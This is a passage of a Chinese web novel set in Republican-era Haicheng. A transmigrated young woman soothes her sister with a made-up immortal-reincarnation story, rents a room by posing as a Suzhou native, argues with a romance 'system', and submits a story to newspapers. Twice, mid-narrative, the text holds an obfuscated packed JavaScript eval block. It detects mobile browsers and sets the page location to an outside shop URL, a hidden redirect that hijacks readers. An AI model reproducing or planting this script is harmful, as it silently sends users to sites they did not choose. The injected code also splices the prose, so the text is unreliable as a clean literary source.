《天生大佬》 2. 第 2 章 走出巷子，街上的人流又密了起来，电车叮叮当当地驶过，报童举着报纸在街角叫卖，穿旗袍的太太们撑着伞从她们身边走过，留下一阵香粉味。 程锦云紧紧攥着妹妹的手，手心里全是汗。她的目光不知道该往哪儿放，看什么都觉得新鲜，又看什么都觉得心里发慌。 走远之后，程锦云终于忍不住了：“锦年，你来这个大城巿就不害怕吗？我看见这么多人，心里慌得很。咱们从没见过这样的地方，万一……万一走丢了怎么办？” 程锦年没有立刻回答，她看着姐姐惶惶不安的脸，心里快速盘算，从昨天到今天，程锦云一句话都没多问，让跑就跑，让走就走，脚底磨出了水泡也不吭声，硬是咬牙跟了一路。 以她的表现来看，她不是拖累，而自己作为一个一无所有的贫女，其实也没有那么多的选择。 让程锦云与自己结伴，是出于现实需要，两个人无论如何都比一个单身女子安全，更何况程锦云的品行目前看着还可以，把她从乡下带都带出来了，总不能丢下不管了。 既然这样，安抚好程锦云的情绪，就是她必须要注意到的事情了。 “怕，我也怕。”程锦年的声音不大，“可是云姐，害怕解决不了问题。我们是从赵虎手里逃出来的，好不容易到了海城，要是因为害怕就缩手缩脚的，那之前的苦不就白受了吗？” 程锦云低下头，两只手绞在一起。 程锦年缓缓解开她缠在一起的双手，握住姐姐的手掌，语气放缓了一些。 她清楚，程锦云现在最需要的不是道理，是安心。她得让姐姐觉得自己被需要、被肯定，不能让她一直陷在“我什么都帮不上忙”的自责里。 但这番话不能说得太刻意，得让人听着像是真心流露。 “云姐，其实我今天做那些事之前，心里也很不安。去咖啡馆跟那位小姐说话的时候，我自己都不确定能不能成。只是我想着，咱们两个人里头，总得有一个拿主意的人，所以我强忍着不安去做了。” 程锦云吃惊的抬起头，她以为妹妹表现的那么自信，怎么实际上会有这种情绪呢。 “之前我跟你说‘也许能成’，不是客气，是真的没把握。”程锦年说这话的时候，语气比平时软了几分，“只是我不想让你跟着担心，才没有说出来。” 程锦云的睫毛颤了几下，她张了张嘴，想说什么又咽了回去。 她心里又酸又胀，原来妹妹也不是什么都不怕，原来妹妹也是在硬撑。她这个做姐姐的，不但帮不上忙，还让妹妹反过来安慰自己。 “锦年，你……你别这么说。”程锦云的声音有些发颤，“你已经很厉害了，换了我在那个咖啡馆里，我连话都说不出来。是我做得不好，什么都怕，什么都帮不上你。” 这正是程锦年预料中的反应，程锦云心软，听见她示弱一定会内疚。 内疚了就会心疼，心疼了就不会再胡思乱想，这是转移注意力的有效手段。 既然有效果，那就采取下一步，那就是鼓励她，让她知道她自己是有用的，避免一直自哀自怨：“云姐，你比其他人强多了，从村里跑出来的那一晚上，腿都软了，可你一句都没抱怨，咬着牙跟着我跑。 要不是你一直陪着我，给我鼓劲，我一个人说不定早就累得跑不动，被赵虎抓回去了。今天能这么顺利，不只是我一个人的功劳，咱们两个，缺了谁都不行。” 程锦云愣住了，她没想到妹妹会说这个，心里一暖，原来她不是一点用都没有，原来妹妹也需要她。 那种总觉得自己是累赘的自卑感，被这几句话冲淡了不少。 程锦年留意到姐姐表情的变化，知道这一番话起了作用。但她心里清楚，这只是铺垫。真正的难题还没解决，她自己的变化太大了，大到不可能轻易糊弄过去。 程锦云现在不问，不代表以后不问。如果一直不给一个合理的解释，这根刺会扎在姐姐心里，时间长了谁知道她会怎么想？会不会害怕？会不会疏远？会不会做出什么不理智的事？ 她必须主动把这事圆过去。 用什么理由？程锦云是个村姑，没读过书，从小听的就是神仙鬼怪的故事。对她最有说服力的，只能是那一套。 别说是民国，就是一百年后还有人信这个。在这个时代，这套说法更是天经地义。与其费尽心思编一个经不起推敲的谎话，不如直接用这个最省事的框架。 况且，以后要做的事还多着呢。她不可能时时刻刻戴着村姑的面具，也不可能每做一件超出程锦云理解范围的事就解释一次。她需要一个通用的理由，一次性打消所有疑虑。 两人沉默着走了一段，程锦云的脚步越来越慢，她看着妹妹的侧脸，嘴唇动了几次，都没发出声音。 程锦年没催，她知道程锦云在酝酿。 又走过一个街口，程锦云终于憋不住了：“锦年，我问你一件事，你别生气。” “你问。” “你……你怎么突然变得这么厉害了？”程锦云的声音压得很低，像是怕被旁人听见，“以前在家里，你连赵虎来了都不敢出屋。 可是昨天你跟赵虎说话的时候，一点都不怕，今天在咖啡馆，跟那位小姐说那些书啊本啊的事，你……你怎么会的？” 她顿了顿，又赶紧补了一句：“我不是说你不好，我就是觉得你跟以前不一样了。有时候我看着你，觉得你像是另外一个人。” 来了，程锦年在心里把早就准备好的说辞过了一遍，面上不动声色。 “云姐，我跟你说一件事，你别害怕。” 程锦云愣了一下：“什么事？” “那天晚上，赵虎来砸门之前，我做了一个梦。”程锦年的语气放得很轻，像是在讲一个只属于她们两人的秘密，“梦里有个仙女，她跟我说，我本来不是凡人，是天上的神仙转世。 这一世投胎到人间，是为了应劫。之前那些年浑浑噩噩的，是因为被胎中之谜蒙住了，不记得自己是谁。” 程锦云的眼睛一点点睁大。 “仙女说，我原本应该继续蒙在鼓里，等劫数自己过去。可是昨天赵虎上门，如果我继续浑浑噩噩下去，这一关可能就过不去了。所以天上的同僚不忍心看着我遭难，偷偷破了我的胎中之谜，让我提前醒过来。” 程锦年的声音平稳，语气沉稳笃定，听着就很有说服力：“她说我既然醒了，就不能再像以前那样活着了。我这一世投胎，是要救苦救难、积累功德的。 只有功德圆满了，才能重归仙班。所以我脑子里突然多了很多东西，能看懂那些书，知道那些典故，连以前没学过的本事也都通了。她说这些都是我前世就会的，只是以前被蒙住了，现在拿回来了。” 程锦云张着嘴，好半天没合拢。她脑子里翻来覆去地转着小时候听过的那些故事，神仙转世，下凡应劫，功德圆满之后飞升天庭。 说书先生讲过，村里的老人也讲过。她一直当故事听，没想到这种事会发生在自己妹妹身上。 她心里忽然涌起一阵庆幸，默默地向那位不知名的仙女道了声谢，谢谢她让妹妹醒过来。不然她们姐妹俩在这偌大的海城里，真不知道该怎么活下去。 她并不嫉妒妹妹有这样的好运气，姐姐照顾妹妹，天经地义。这样的好事落在妹妹头上，她只觉得太好了，让妹妹有了能够谋生的本领，她心里只有欣慰。 再说了，就算是把那些本事给了她，她也未必能做到妹妹这种程度。妹妹来城里的第一天就拿到了三十块银元，跟那位穿洋装的小姐说话不卑不亢，换了她，连咖啡馆的门都不敢进。自己是什么料子，她心里清楚。神仙选妹妹，是对的。 想到这里，她心里的惶惑散了。妹妹不是中了邪，不是被什么脏东西附了身，是神仙转世，是天大的好事。 “仙女长什么样？”她忍不住追问了一句。 “穿着白衣服，头发很长，说话轻飘飘的。”程锦年随口编了几个细节，反正程锦云也无从验证。 程锦云没再问了，她信了。 程锦年看着姐姐的神情变化，知道这个坎算是过了。 往后不管她做出什么超出常理的事，都可以往这个筐里装。神仙转世，前世就会，不需要再额外解释。 “云姐，这事你知我知，别往外说。天上的事，不能随便告诉凡人。” 程锦云用力点头：“我晓得的，这种事不能说出去，说出去就不灵了。” 程锦年没再继续这个话题。 “云姐，我们得先买两身衣裳。” 程锦云愣了一下：“买衣裳？咱们的钱……够吗？” “够。”程锦年站起身，拍了拍裙子上的灰，“我们现在这个样子，一看就是从乡下来的，办什么事都不方便。刚才在书店，那些掌柜看我们的眼神，你也看见了。穿成这样，走到哪里都被人看不起，租房子人家也不愿意租给我们。” 程锦云想起上午被掌柜们嫌弃的目光，沉默了，她知道妹妹说的是实话。 “那去哪儿买？” “不去大商场，太贵了，去街边的裁缝铺，那种铺子里有成衣，比商场便宜。” 她们在一条小巷子里找到了一家裁缝铺，程锦年细细打量了挂在门口的衣服，摸了摸料子，又看了看针脚，觉得还不错，这才领着姐姐进去。 程锦年挑了一件藏青色的学生裙，又挑了一件浅灰色的上衣配半裙给程锦云。她让师傅改了一下腰身和袖长，约定下午来取。 两身衣服料子不错，加上师傅手工费，又拿了两双素布鞋，程锦年试着砍了砍价，最后花了五块银元八十铜元。 从裁缝铺出来，已经过了正午。两人在街边找了一家小馆子，要了两碗馄饨加一碟小菜，花了二十铜元。 等菜的功夫，程锦年跟小摊老板聊了几句。她问了附近哪里的房子比较便宜，老板热心地告诉她这片区域的大致租金行情，又提了一句有几个地方贴着招租广告，程锦年心里有了底。 吃完饭，时间差不多了，她们折回裁缝铺取衣服。藏青色的学生裙改过了腰身，穿在身上服服帖帖。 浅灰色的上衣配半裙也刚好合身，程锦年借了裁缝铺的水，把头发用温水沾湿，梳成发髻，露出光洁的额头。又借了剪子修剪了眉毛。帮姐姐也简单倒腾了一番，姐妹俩看起来总算没有之前那么狼狈了。 程锦云换上了新衣裳，站在镜子前愣了好一会儿：“锦年，这是……我吗？” 程锦年看了她一眼：“是你，只是以前没有好好收拾过。” 程锦年把换下来的旧衣服折好塞进布包，拉着姐姐出了裁缝铺。 她先拉着姐姐去看电线杆上的广告，第一处太贵，月租十四块。第二处房东阴阳怪气，看她们两个女孩子单身，说话夹枪带棒，她都否了。 第三处是梧桐街三十六号，单间出租，月租十二元，比别家便宜。 房东姓钱，四十多岁，瘦得像根竹竿，手指细长，说话时眼睛滴溜溜转。 他领着姐妹俩看房间，一边走一边念叨：“我这房子可是这一片最好的，别人家月租十三四块，我只收十二块。当然，水电另算，垃圾费另算，楼道照明另算……” 程锦云小声问：“这些不都该包在房租里吗？” 钱老板眼睛一瞪：“包？怎么包？你多用了我少用了，算得清吗？各算各的，公平。” 走到房门口，他忽然停下来，低头看了看姐妹俩的鞋，崭新的布鞋，干干净净。他皱了皱眉：“新鞋也有灰，踩了我的地板，得加清洁费，一个月多加五角。” 程锦年平静地说：“我们进来的时候，地板本来就是脏的。” “那是灰尘，不是泥。”钱老板蹲下来，用手指在地板上抹了一下，“看见没？泥得用水擦，费功夫，五角，一分不能少。” 程锦年没再多说，拉着姐姐头也不回地往外走。 走出那栋楼，程锦云气得脸发红，嘴里小声嘟囔：“什么人啊……地板本来就是脏的，非要赖我们……新鞋也能挑出错来……” 她说着说着声音又低下去，像是怕被路过的人听见，最后几个字含在嘴里含糊不清。 程锦年回头看了一眼姐姐窝囊的样子，心里叹了口气。这种人，指望她出面跟人争，是指望不上的。不过没关系，她本来也没打算指望。 她站定，转过身，重新打量着这栋楼的外观。从外面看，临街一面只有四扇窗户，但刚才在走廊里，她至少看到了六扇门。二楼走廊尽头的窗户是封死的，楼梯扶手摇摇晃晃，楼道里堆着杂物。 程锦年收回目光，心里记下了这栋楼的地址。 “走吧，云姐。”她拉住姐姐的手。 “去哪儿？” “找别的房子。”程锦年一边走一边想，电线杆上的广告不可尽信，刚才那几个就不靠谱。 她走了两步，目光扫过街角的一个报摊。报摊的木板架上除了报纸，还贴了几张手写的招租纸条，歪歪扭扭的字迹，写着“吉屋出租”“环境清静”之类的字眼。 她心里一动，卖报纸的人天天坐在这里，街面上谁家房子出租、哪个房东厚道，他们最清楚。与其自己瞎撞，不如找行家打听。 她拉着姐姐走过去，花了几分钱买了一份报纸，没有急着走，而是搭起话来。 “老板，跟您打听个事，这附近有没有靠谱的房子出租？我们两个刚来海城，想找个安顿的地方。” 报摊老板是个五十来岁的男人，姓王，嗓门大，爱聊天。 他上下打量了姐妹俩一眼，看见她们干净的衣裳，收拾得整整齐齐，想了想：“我倒是认识一位周太太，她家在法租界有小楼，专门出租，周太太人挺好的。” 程锦年顺着话头问：“周太太是哪里人？” “她娘家是苏州吴县的。” 程锦年心里一动，苏州吴县。她上辈子的大学室友就是吴县人，说过不少当地的事。 她没去过苏州，但那些零碎的细节，灵岩山上的多宝塔、山下的老街，她还记得。 一个念头冒了出来，不如冒充同乡好了，她觉得不太妥当，但转念一想，她不是要骗周太太的感情，只是租个房子安顿下来。 她不会拖欠房租，不会惹事，甚至可以把房子打理得比周太太预期的更好。除了不是苏州人，她没什么对不住周太太的。 她把心里那点不安压了下去，现在还没有立身之地，她要想办法为自己的生存考虑，道德问题也要让步于生活。 想到这里，程锦年询问道：“周太太家好找吗？” 老王说了个大概位置。 程锦年辞别了老王，没有直接去找周太太，而是拉着姐姐在路边小声道：“云姐，我跟你说件事。” 程锦云看着她。 “从今天起，我们不是从乡下跑出来的穷丫头了。”程锦年的语气很平静，像是在交代一件日常事务，“我们是苏州吴县木渎镇上的人。父亲是前清的童生，家道中落，父母双亡。来海城投亲，暂时落脚。” 程锦云愣住了，好一会儿才小声问：“锦年，这……真的可以吗？不会出事吧？童生……那可是有功名的人家，咱们冒充……” 程锦年握住姐姐的手，耐心地说：“云姐，你信我，我可是有神仙保佑的人，你忘了吗？” 程锦云抿了抿嘴，没说话，但眼神动了一下。 “咱们在外面要是实话实说，说咱们是从乡下跑出来的穷丫头，人家会怎么看咱们？看不起咱们，欺负咱们，连房子都不肯租给咱们。”程锦年顿了顿，“刚才那个钱老板，你也看见了，咱们穿得干干净净的，他都挑三拣四。要是还穿着原来的衣裳，他怕是连门都不让咱们进。” 程锦云想起钱老板那张刻薄的脸，又想起上午在书店被掌柜们嫌弃的眼神，心里的那点犹豫慢慢散了。妹妹说得对，在这个地方，老实人吃亏。 “你别担心，你什么都不用做，跟着我就行。万一有人问你木渎镇的事，你就说小时候住在镇上，后来搬到乡下去了，记不太清了，别的都由我来说。” 程锦云深吸了一口气，点了点头：“我记住了。” 程锦年观察着姐姐的表情，她还是很紧张，但至少不会一问三不知，这就够了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587579|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统的声音突然冒了出来：“宿主，你对程锦云的投入已经超出了必要范围，她只是一个普通NPC，好感度再高也不计入攻略进度。你的攻略进度至今为零，建议把有限的时间和精力集中在攻略目标上。” 又来了，程锦年在心里回答：“你急什么？” “系统检测到宿主的行动与攻略任务关联度较低，故提出建议。” 程锦年没有急着反驳，而是想了想，之前两次她跟系统讲道理，系统都沉默了，这说明只要她的逻辑成立，系统就不会强行干涉。这是一个信号。 她决定再往前走一步，看看这个“讲道理”的边界在哪里，是不是只要够有道理，就连一定程度的冒犯也可以接受，可以先从语言上的不客气开始。 “我问你几个问题，你先回答。”她在心里说。 “请说。” “第一，我现在这副样子，连个住的地方都没有，我就是站在攻略目标面前，他能正眼看我一眼吗？” 系统沉默了一瞬：“……不能。” “第二，我现在连攻略目标是谁、在哪里都不知道，你让我怎么接触？” 系统没有回答。 “第三，退一万步说，就算我找到了其中一个，你觉得他会怎么看我？一个居无定所、连饭都吃不饱的女人？你觉得他会把我当回事？” 系统又沉默了片刻。 程锦年趁热打铁，语气放得更平：“所以我说，先活下来，站稳了，再考虑别的。这不是拖延，这是现实。” “……逻辑成立。”系统的声音没有变化，但那个停顿比之前更长了。 程锦年在心里记下了这个细节，它不会因为她的态度而发作，只要她说得有道理，它就无话可说。 这就好办了，以后只要她不想听它唠叨，搬出这套逻辑就行。它不是真的无懈可击，它只是需要被说服。 “那程锦云呢？”系统又发问了，“她的价值评估仍不明确。” 程锦年知道系统会问这个，她往下想了一层，程锦云听话，不添乱，在这个陌生城市里，她需要一个绝对信得过的人。 与其在外面找个不知根底的帮手，不如把姐姐培养起来。而且，她骗不了自己，就算程锦云什么忙都帮不上，只要不拖后腿，她也做不到把人扔了。 “她是我的人，我管她，天经地义，她以后会派上用场的。至于攻略目标，等我站稳了再说。” 系统没有回应，程锦年知道，这个话题到此为止了。 她站起身，拉着姐姐去找周太太。 周太太家的小楼在弄堂深处，程锦年敲了门，开门的是一个五十多岁的妇人，穿着一件灰布褂子，手腕上戴着一只成色不错的玉镯。 “太太，报摊的王伯介绍我们来的，说您这里有房子租。”程锦年微微欠了欠身，声音放软了。 周太太上下打量了她们一眼，看见两个姑娘穿着干净的学生装，头发梳得整整齐齐，目光里多了几分和善。 她侧身让她们进去，领着她们往巷子里走了大概十分钟，拿钥匙打开了一栋一层小楼的房门。小院屋子不大，但干净亮堂，窗户朝南。 周太太一边走一边随口问：“听你们的口音，不是本地人吧？从哪里来的？” 程锦年语气自然地回答：“苏州吴县的。” 周太太的脚步顿了一下，转过头看着她，眼睛亮了起来：“哎呀，我娘家也是吴县的！海城这么大，没想到还能遇见老乡，真是巧了。” 程锦年微微一笑：“这正是我跟太太您的缘分。” 周太太听了这话，脸上笑意更浓了，点了点头：“你这话我爱听，吴县哪里的？” “木渎镇上的。”程锦年说这话的时候，心里快速过了一遍室友说过的那些细节。她试着一开口，发现上辈子听过的那些苏州话居然用上了，几个字的尾音自然地往上扬。 周太太语气明显亲近了几分：“木渎啊，灵岩山下的那个镇子，灵岩山上有座塔，你小时候上去过没有？” “多宝塔嘛，上去过的。”程锦年笑了笑，“小时候常上去玩。” 周太太也笑了：“我小时候也上去过，那塔现在不知道怎么样了，好多年没回去了。” 程锦年没有接这个话，她不知道那塔现在怎么样，再说下去就要露馅了。好在周太太也没有追问，话题自然而然地拐到了房子上。 “太太，这房子月租多少？” “十块钱一个月，水电另算。” “我们家就两个人，安安静静的，不会吵到邻居。太太，碰见老乡也不容易，能不能给点优惠？” 周太太看了看她，又看了看一直站在旁边没说话的程锦云：“你们家里……没别人了？” 程锦年垂下眼帘：“父亲走了，母亲前年也去了，家里剩下我和姐姐两个人。我们来海城投亲，表舅家人口多，实在住不下。身上的钱不多了，得先找个地方安顿下来。” 周太太沉默了一会儿，叹了口气，从腰带上解下钥匙：“行，原本该押一付三，可是你们情况特殊。先交一个月的押金，一个月的房租，给你们按八块钱一个月算吧，给我十六块就行。” 程锦年从布包里数出银元，放在桌上。周太太收了钱，拿出纸来写上收条，里面有甲乙方。 程锦年拿起笔，在纸上对应位置写了“程锦年”三个字，字迹工整。 周太太看了一眼，忍不住赞叹：“这字写得真好，你父亲教的？” “嗯，父亲以前是童生。”程锦年收起笔，周太太看着纸上那几个工整的字，又看了看眼前这两个面黄肌瘦的姑娘，心里一阵唏嘘。 书香之家，沦落到这种地步，两个孩子孤零零地跑到海城来讨生活，也不知道吃了多少苦。 她把钥匙递过去的时候，目光在姐妹俩身上停留了一瞬。 欲言又止了一下，像是在犹豫什么，最终还是开了口：“我家里还有些多余的棉被褥子锅碗瓢盆之类，要是你们实在困难，先给你们用着吧。” 说完，她仔细看着姐妹俩的神色，怕她们自尊心强，不肯接受。 程锦年一眼就看出了周太太的心思，这位太太心细周到，既想帮忙，又怕伤了她们的面子，她心里对周太太多了几分好感。 “太太，您这可真是雪中送炭了。”程锦年的声音里带着恰到好处的感激，不夸张，也不卑微，“我们正愁着置办家当的事呢，您这么照顾我们，我们都不知该怎么谢您才好。” 周太太听了这话，脸上的犹豫散了，连连摆手：“谢什么，都是老乡，举手之劳。你们先把东西搬过去用着，等以后宽裕了再说。” 程锦年自然是好听话连连奉承，又说了几句“太太心善”、“遇见您是我们姐妹的福气”之类的话，把周太太说得心里暖暖的。 等到周太太指挥人，帮忙把东西搬过来归拢好以后，送走众人，这座狭窄小院里终于只剩下了姐妹俩。 程锦年拉住姐姐的手：“走吧，我们回家。” “回家”这两个字让程锦云愣了一瞬。她看了看妹妹平静的侧脸，又看了看手里那把冰凉的钥匙，忽然觉得，好像真的有了一个家。 当晚，程锦年安顿好姐姐，一个人坐在灶房里。她翻了翻灶台底下的柴火堆，找到一根没烧完的炭条，又在墙角捡起一张包过东西的旧报纸，背面还空着。 她把报纸摊平，用炭条在上面写了几行字： “工部局执事先生：梧桐街三十六号住宅，原为四间房格局，现违规隔断为至少六间。楼梯扶手松动，楼道堆放杂物，二楼走廊尽头窗户被封死，请派员核查。” 她把报纸折好，塞进衣兜里。 她吹灭油灯，躺回床上。黑暗中，她想起了赵虎，那个把她们姐妹逼得连夜逃跑的地痞。不是不报，是现在没空。先活着，活好了，账一笔一笔算。 她翻了个身，闭上眼睛。 第二天一早，她去菜市场的时候，在路边文具店花了几分钱买了一个信封，把梧桐街的举报信塞进去，写上“工部局收”，绕路经过工部局，把信塞进了举报信箱。 3. 第 3 章 第二天一早，程锦年把那包银元拿出来，数了一遍。房租押一付一用了十六块，两身衣裳花了五块八十铜元，加上吃饭，买报纸等，拢共剩下八块银元左右。 她把银元重新包好，抽出两块递过去：“云姐，这钱你拿着，米面粮油、炭火、洗漱用的，你看着添置一些。先紧着要紧的买，拿不准的就挑便宜的，以后有条件了咱们再去换。” 程锦云接过钱，愣了一瞬，她低头看了看手心里那两块银元，又抬头看了看妹妹，手攥了攥，声音发紧：“这……交给我？” “嗯，附近就有菜市场和二手市场，不用走太远，先买几样，不够再说。” 以前在家里，都是花铜元，银元是很少见的，程锦云把钱攥紧，像是怕掉了，她没再推辞，声音不大，但比平时稳了些：“行，我先去转转，看看都是什么价。” 程锦年没再多说，杂事有人打理，她才能腾出手来想挣钱的事。 程锦云出了门，沿着巷子往菜市场走。这是她第一次一个人在陌生的城市里办事，心里慌得很。 她攥着那两块银元，手心全是汗，走了几步又停下来，回头看，妹妹没跟出来，只有她自己。 菜市场比她想象的大，人声嘈杂，青菜、肉、米面，一排一排的摊子。她站在入口处，不知道该往哪边走，被人流挤了一下，差点摔倒。 一个卖菜的大姐喊她：“小姑娘，买啥？” 程锦云张了张嘴，声音小得自己都听不清。她深吸一口气，告诉自己，妹妹一个人在扛，她不能连买棵菜都办不好。她攥了攥拳头，硬着头皮走过去：“这白菜怎么卖？” “三铜元一斤。” “能不能便宜点，两铜元？” 大姐看了她一眼，犹豫了一下：“行吧，看你小姑娘头一回来，给你两铜元，以后记得多来我家买菜啊。” 程锦云买了白菜，又去肉摊前站了好久。猪肉十二铜元一斤，她咬了咬牙，买了一斤。 买完菜，她提着篮子，在一排米面铺子前停下来。她想起妹妹说过，要置办米面粮油，还得看看价钱。她在一家铺子前站定，老板是个胖乎乎的中年人，正用铁铲翻着木桶里的糙米。 “老板，糙米咋卖？” “十五铜元一斤。” 程锦云愣了一下：“这么贵？” 老板看了她一眼，叹了口气：“小姑娘，你是刚来海城吧？天冷了，菜不好运，啥都贵。前阵子十二，这几天涨到十五了。过几天还要涨呢，要买趁早。” 程锦云心里一沉，掏钱买了十斤，又打听了油盐的价格，一样样记在心里，该比价的比价，俭省着置办了一点。 她拎着东西往回走，手心不湿了，步子也稳了。虽然腿还有点发软，但总算是把事办成了。 回到家，程锦云把东西一样一样摆出来，把剩下的钱递回去：“买了一斤猪肉、一棵白菜、十斤糙米，油盐买了点，总共花了……”她报了个数，声音不大，但说得很清楚。 顿了顿，程锦云又补了一句，“锦年，米涨价了，老板说天冷了，菜不好运，啥都贵。十五铜元一斤，比前阵子涨了三铜元，说还要涨。” 程锦年没有接找零，推了回去：“剩下的你收着，以后采办的东西多，别来回折腾了。” 程锦云愣了一下，低头看了看手里的钱，又抬头看了看妹妹。妹妹脸上没什么表情，但语气很平，透着信任。 能掌管钱财，这是对她的肯定，程锦云把钱袋攥紧，点了点头：“行，我会做好的。” 程锦年又看了一下买的其他东西，这些基础物资买得实在，价格也算公道，但那句“还要涨”让她心里一沉。 两个人一个月光吃就要花掉三块多，加上水电、炭火、日用品，手里的八块钱撑不了太久，现在连下月房租都没有影子。 她并没有表现的太过惊慌，看了姐姐一眼：“我知道了，这几天先省着点，会有办法的。” 程锦云有些担忧，但想着妹妹这么聪明，应该有了主意，她便没再多说，转身去灶房洗菜了。 程锦年把账在心里又过了一遍，手头这几块钱，省着花最多撑一两个月，一个月之后交不出房租，姐妹俩就要被扫地出门。必须挣钱，立刻，马上。 可她一个十六岁的姑娘，肩不能扛手不能挑。去工厂做女工，一个月七八块，还不够付房租。去茶楼当服务员，工钱少，还容易惹是非。 程锦年想起上辈子看过的穿越小说，女主到了民国靠一支笔起家。她当时觉得这种桥段又爽又俗，现在轮到自己头上，才发现不是爽，是被逼到绝路上的最后一条路。 先活下去，活不下去，什么都是空话。 可她现在连写字的纸笔都没有，她在屋角翻出几张旧报纸，又在灶房寻到半截烧剩下的炭条。 用炭条在报纸空白处试了试，字迹倒是看得清，但拿这个投稿，编辑怕是要当笑话看。 她揣上银元出了门，去了附近的文具店。 文具店的老板是个五十来岁的瘦老头，程锦年挑了一沓稿纸、一瓶墨水、一支最便宜的钢笔，二十个信封，又买了邮票。一套下来花了接近一块五银元。舍不得孩子套不着狼，她咬咬牙付了钱。 她抱着纸笔往回走，路过报摊时停了一下，花了几铜元买了几十份过期的废报纸。 回到住处，程锦年把新买的钢笔拧开，看了一眼墨囊，又拧上。 她把纸笔放在桌上，铺开报纸开始做功课。她花了一天多时间，把十几家报刊的地址、风格和稿费标准记了满满两页纸。 程锦年把那些要求太高，不要新人等等风格不符的一家一家划掉，最后选出七家，包括了稿费高的、门槛低的、名气大的、回款快的……各种各样都各挑了几家，毕竟鸡蛋不能放在一个篮子里。 程锦年将钢笔吸满墨水，铺开稿纸。笔尖落在纸面上，停了一下。这是她来到这个世界后，第一次正儿八经地动笔。 系统突然冒了出来：“宿主，检测到你在进行与攻略任务无关的活动，当前攻略进度仍为零。” 程锦年在心里回了一句：“我知道。” “系统建议，优先接触攻略目标。根据数据库分析，攻略目标之一顾晏清，常出入法租界咖啡馆，距离你当前位置不足两公里。” 程锦年顿了一下，两公里，听起来很近。但她低头看了看自己身上半新的学生装，又看了看桌上摊开的稿纸。 “我现在去，他能正眼看我吗？” 系统沉默了两秒，像是在计算什么，最后只吐出两个字：“……不能。” “等我先把稿子寄出去。” 系统没再坚持。 程锦年已经发现了，对方最关心的就是攻略，可她现在最关心的是怎么挣钱活下去。 市面上最不缺的就是才子佳人，她一个无名新人不容易出头。不如找一个新奇的情节，先吸引眼球再说，这在后世很常见的反转，但是程锦年进行市场调研的这几天，却没有见到类似情节，所以她觉得还是有点吸引力的。 她写了一个丫鬟，叫阿蘅。阿蘅是赵家最不起眼的丫鬟，每天扫院子、倒马桶。 直到后来，她开始往老爷书房塞纸条，第一条预言“三日内有血光”，账房先生摔断了腿。第二条预言“当铺要出事”，当铺着了小火。第三条预言“老爷活不过十五”，赵老爷暴跳如雷，请了道士加了护院。 十五那天夜里，阿蘅在炭盆里加了浸过油的木炭，炭火烧得比平时旺得多。 赵老爷嫌热，习惯性地把炭盆往窗帘那边推了推，这是她看了三年的小动作。 火着了，门从外面被插上了。赵家没了主人，没有人怀疑阿蘅。她领了遣散费，走进人群，再也没有回头。 故事的核心不是复仇，是“最不起眼的人掌控一切”。她想了想，给这篇小说取了个名字——《无名》。 程锦年写完最后一个字，搁下笔，通读了一遍。墨迹还没干透，她把稿纸叠整齐。 她没有把全稿装进任何一封信每份只取了开头三分之二，断在“阿蘅把第三张纸条塞进了书房门缝”那一句，剩下的三分之一锁进抽屉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587580|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她提笔写了一封短信，附在每份稿子前面：新手投稿，若蒙不弃，请将稿费汇至指定地址，余稿当即奉上，落款“林间月”。 这是她的笔名，不张扬，甚至于有点像是真名一样。 信封上没写自己住的地方，程锦年出去买东西的时候，已经发现了法租界圣母院路转角有一家小杂货铺，专门替人代收信件，一次收费两个铜板。 老板姓吴，话少，不会过问太多。 她在每封信里写明：“海城法租界圣母院路吴记杂货铺转林间月收。” 稿费走的是“存局候领”，她花了一角钱在邮局买了一个取件号牌，上面只刻了一个数字：十七。汇款单留在邮局，凭号牌领取，不需要真名。* 七份稿子，每份都装好、封口、贴邮票。钢笔尖落在纸面上，一笔一划写了七个地址，写到手发麻。 她不想让任何人从寄信地址上猜到她的住处，特意绕了两条街，走到圣母院路那个邮筒前。 七封信一齐塞了进去，落进邮筒底部，发出轻微的声响。程锦年站在邮筒前，盯着那张铁皮小门看了几秒，转身往回走。 路灯只在巷口有，弄堂里光线昏暗。她走得不快，脑子里还在算账，七封信的邮票花了二角一分，加上纸笔、信封，前前后后投进去快一块钱了。 要是全退稿子了，她就真的血本无归，但是这也是必要的风险承担。 拐进巷口的时候，程锦年忽然觉得不对劲。 有人在后面跟着她。 脚步很轻，但不是路人的那种随意。她快走，那脚步也快。她慢下来，那脚步也跟着慢。 程锦年没有回头，只盯着地上的人影。路灯的光线从背后打过来，影子拉得老长。她看到自己影子后面不远处，还有一个影子，瘦长，微微佝偻。 是个男人，不是路过，是专门跟着的。 她脑子里快速转了一圈，两个单身姑娘，在这住了几天，要是有心人，很容易判断出她们俩的情况，这最容易招贼。此人很有可能不是偷东西，就是踩点。 程锦年没有加快脚步，也没有回头。她保持着原来的速度往前走，手心在冒汗，但步子不乱，尽力维持平静。 拐过弯，她忽然加快脚步，闪身进了路边一家还没打烊的杂货铺。 身后传来一阵急促的脚步声，然后又停住了。她从杂货铺的窗户往外看，一个穿深色短褂的男人站在巷口，朝这边张望了几下，转身走了。 程锦年没有马上出去，她在杂货铺里站了几分钟，等心跳平复下来，确认那个男人不会再回来，才推门出来。 她绕了一条远路回家，一路上不时回头看，确认没有人跟着。 推开院门的时候，程锦云正在灶房里热粥。听见动静探出头来：“锦年，怎么了？” 